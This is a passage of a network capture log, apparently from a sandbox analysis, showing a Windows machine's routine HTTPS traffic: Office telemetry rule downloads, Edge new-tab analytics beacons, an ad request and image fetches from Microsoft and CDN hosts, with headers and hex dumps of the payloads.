2024-11-23 23:06:54 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: c816c809-401e-0042-031e-3d4313000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230654Z-15b8b599d88f9wfchC1TEBm2kc00000003r000000000a69f Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:54 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:55 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: ceb426c5-101e-0079-5bf1-3d5913000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230654Z-15b8b599d88phfhnhC1TEBr51n00000003p000000000efw7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:55 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:55 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 3d26e0c5-e01e-0020-6638-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230654Z-178bfbc474bv587zhC1NYCny5w000000050g000000007u32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:55 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	49904	20.110.205.119	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	1175	OUT	GET /c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
2024-11-23 23:06:55 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732403212055&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0bc75008eae841bf87e2b4c046ac6e18&activityId=0bc75008eae841bf87e2b4c046ac6e18&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=9E7A649AA04A41C7B1E0884E07A0062F&RedC=c.msn.com&MXFR=09EFB3CBA8B66A3233B2A68BA9AF6B45 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; domain=.msn.com; expires=Thu, 18-Dec-2025 23:06:55 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49905	108.156.120.98	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	925	OUT	GET /b?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 23 Nov 2024 23:06:55 GMT Location: /b2?rn=1732403212055&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=09EFB3CBA8B66A3233B2A68BA9AF6B45&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1C31cb9d97c32c5d4b77ae21732403215; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1C31cb9d97c32c5d4b77ae21732403215; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 97dc0001c65552cf04e824d81f7e2ce0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ORD56-P3 X-Amz-Cf-Id: pL9p5PF3Rudd3anqMmjT93gCQnBmjVk9KAhzAqFSv65NsA0UIyu31w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49906	20.75.60.91	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=09EFB3CBA8B66A3233B2A68BA9AF6B45&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=c4f7aa0070e34466ce9dfdbf725a62d2 HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=09EFB3CBA8B66A3233B2A68BA9AF6B45; _EDGE_S=F=1&SID=1FF55F8CADA865E03E434ACCAC756444; _EDGE_V=1
2024-11-23 23:06:55 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49911	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1msySq.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 20 Nov 2024 12:30:23 GMT X-Datacenter: eastus X-ActivityId: d4195c89-895d-4a47-a7b7-eecd2ccf32d3 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msySq X-Source-Length: 55350 Content-Length: 55350 Cache-Control: public, max-age=134596 Expires: Mon, 25 Nov 2024 12:30:11 GMT Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 23:06:55 UTC	16384	IN	Data Raw: 29 cf a9 d5 a6 52 e3 92 27 69 45 6b 44 c0 c9 26 f3 b6 05 4b 27 d7 97 01 95 65 c8 8d 12 15 a9 e8 1b 2f 7e 04 c9 27 c5 fc 85 b2 01 ab 70 82 ce 8c b2 91 1d be 60 e7 de 46 06 d7 64 ba 02 b5 b9 fe 85 69 f5 8f dc ca db 6c 00 9f 51 74 f3 e2 0a d7 9f 0f dc 4b 47 05 e6 c9 56 a7 a2 e4 51 1d 57 a9 5b 9e 07 3b 4e 50 a0 91 20 1d 55 f7 4b 2c 2c ff 00 72 74 8f ec 72 eb 83 10 09 cb 71 9c 0c ab 29 c0 e9 37 99 70 f7 c4 61 22 3a 36 25 94 1c be ee 4b 97 11 5a 85 9e 3e 20 0d 44 a6 31 7c f0 f2 0c d2 52 b0 12 93 f8 b2 fc c6 73 3f 75 58 81 56 de 59 b2 29 8f ec 3d db 55 78 00 4f 9b 18 3b 85 c3 f7 67 48 36 f5 39 2b ca 3f 21 01 17 dd 87 e4 87 c1 46 22 2b 26 a3 12 e7 fa f4 10 57 29 42 59 8b 10 1a ab 9e 6f de 00 db 37 fd c2 02 27 19 71 27 dd 6c fe 03 55 71 59 22 b5 cf 2e 88 ad a5 25 Data Ascii: )R'iEkD&K'e/~'p`FdilQtKGVQW[;NP UK,,rtrq)7pa":6%KZ> D1\|Rs?uXVY)=UxO;gH69+?!F"+&W)BYo7'q'lUqY".%
2024-11-23 23:06:55 UTC	2741	IN	Data Raw: a9 4c fc 4e af 34 20 2c ae 29 7c c8 ac bc 3c 81 5f 20 6a 5e 01 a0 3d b3 07 9a e2 8e 73 c4 ba 5f 97 20 0e c9 85 b7 dd 58 4a 23 39 06 b4 ce 6d 9a 16 9e 0d 80 63 91 aa f4 b0 b6 db d4 e6 99 fb f3 22 4b 8e 7c 83 61 a5 59 bc e5 a7 e1 88 4a 5b 35 e9 8c 03 a6 5c 3c 13 fd 8e d6 a7 35 10 2d 98 8e 1c bf 2c a4 c9 69 4f 1f 98 47 7c f8 78 03 97 ef 8a 1c 0a ac d2 8f 46 19 d9 ad 30 de 1c 79 81 99 e4 e4 e9 f1 9f 7e 63 21 14 e1 e8 36 09 48 b5 90 b8 a8 e4 30 59 70 45 6f 7f ec 2b 71 8c 7e e7 28 7f 84 5b 23 7d 48 e1 91 32 b0 b1 33 8f a7 c5 8c ab 5f c8 a0 e9 d2 f0 19 3c f8 af 01 72 7d 4b 58 c3 1f 31 1b 46 99 f0 f8 73 f0 02 fe c7 0f 38 7c 30 67 26 9b 1a 6b 6f b5 a8 63 0a b9 7f 63 4e e2 d2 b6 f7 15 93 95 d2 21 d7 83 e7 10 e4 c5 5c f2 e9 e4 6b a5 1e e2 d0 b3 78 c6 1e 82 27 a5 b5 Data Ascii: LN4 ,)\|<_ j^=s_ XJ#9mc"K\|aYJ[5\<5-,iOG\|xF0y~c!6H0YpEo+q~([#}H23_<r}KX1Fs8\|0g&koccN!\kx'
2024-11-23 23:06:55 UTC	16384	IN	Data Raw: 8d 28 fc ec 2a a6 cc bf b6 93 e3 6f dd 8f 99 71 d3 cf 76 95 1c 5e 5e 48 14 47 54 7b 1f 4a 8d ce 9d b8 e9 1f bc c8 8f 65 59 e1 4f 24 ff 00 de 1c cc b8 bc a9 09 f6 c6 4b 33 d1 af 6d 4f e9 4f cd c2 f2 fd 45 7d a4 39 71 1d 12 8f 9c b1 f3 c4 71 af 39 2c f1 48 26 6b 3c 83 de bb 1b 6e 1b b6 5c 27 ff 00 88 5d 1b 58 c4 cf fa df e5 98 f9 41 c6 b2 d6 aa cd b7 c5 4a 82 d2 d6 a5 93 4f 34 6d 54 51 0b 6d f2 c5 fb f8 0d 96 8d 2f 67 8c e5 a9 3e 93 98 b9 c3 e2 da d6 df 77 b7 f7 e9 fa bf cb 6a bf b9 f2 b2 c1 ae 78 a3 c7 b5 6d b6 dd 6c a1 ae a6 fd ad c7 b6 fe dd b4 a3 0f ba d3 f3 43 ef ee 7d 78 d5 b5 59 ea 9d a4 53 3d 1f 17 99 f7 70 e9 e2 74 da a9 38 7e 61 9d 78 24 ea fa ab 39 fc a0 13 ad d3 c6 d6 5c 56 3f 12 b9 c4 f1 4d 55 78 e4 c5 fb 78 38 26 89 e3 1d 24 ef a7 6e ab c9 fe Data Ascii: (*oqv^^HGT{JeYO$K3mOOE}9qq9,H&k<n\']XAJO4mTQm/g>wjxmlC}xYS=pt8~ax$9\V?MUxx8&$n
2024-11-23 23:06:55 UTC	3976	IN	Data Raw: a3 33 40 9c 9b 32 02 d2 34 95 16 32 cb 3b 5b 0f 08 47 53 59 63 2b 2b ce ef 97 d4 d8 72 7c 53 71 91 fa 05 f6 f5 d5 d7 a9 f1 1d ce cd b6 37 2d 5b 28 e8 6f 86 9c 7d db dc ac 62 61 90 e0 de 65 b9 42 79 3c 86 56 23 c8 e5 00 0d 21 13 12 3a 1d 2c 40 d2 47 98 b2 41 13 9a 10 6c 06 fb 58 cc 26 b2 07 81 a6 04 d2 01 98 64 d0 56 b9 02 68 03 88 72 63 35 20 48 47 81 d8 62 74 81 24 8c 24 1c 00 d0 42 8a d8 03 d4 60 69 8d 32 00 cd 09 1c c9 9a 19 66 00 ad 10 77 e0 48 60 15 0d 10 21 64 01 a6 3c 09 62 64 76 68 40 a5 9e 64 92 b4 30 e1 46 48 8d 00 6d 3a 48 46 ca 08 d9 d9 8a 50 06 92 8a 87 80 0e 38 e3 80 29 44 2a 60 0c 74 b1 06 00 a4 38 a0 16 0e 28 d0 00 a2 0c 0d 88 38 a7 66 51 85 29 0a 90 19 e3 29 26 41 67 4a 04 23 2b 2a 20 e8 03 8e 1a 05 10 51 92 15 20 e9 40 8e 42 aa b2 68 0a Data Ascii: 3@242;[GSYc++r\|Sq7-[(o}baeBy<V#!:,@GAlX&dVhrc5 HGbt$$B`i2fwH`!d<bdvh@d0FHm:HFP8)D`t8(8fQ))&AgJ#+ Q @Bh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49914	104.117.182.25	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:55 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:55 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Tue, 19 Nov 2024 01:11:09 GMT X-Datacenter: westus X-ActivityId: d1332dc8-9c45-4f85-a99f-4fe76a720ba2 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=396161 Expires: Thu, 28 Nov 2024 13:09:36 GMT Date: Sat, 23 Nov 2024 23:06:55 GMT Connection: close
2024-11-23 23:06:55 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49903	20.189.173.2	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
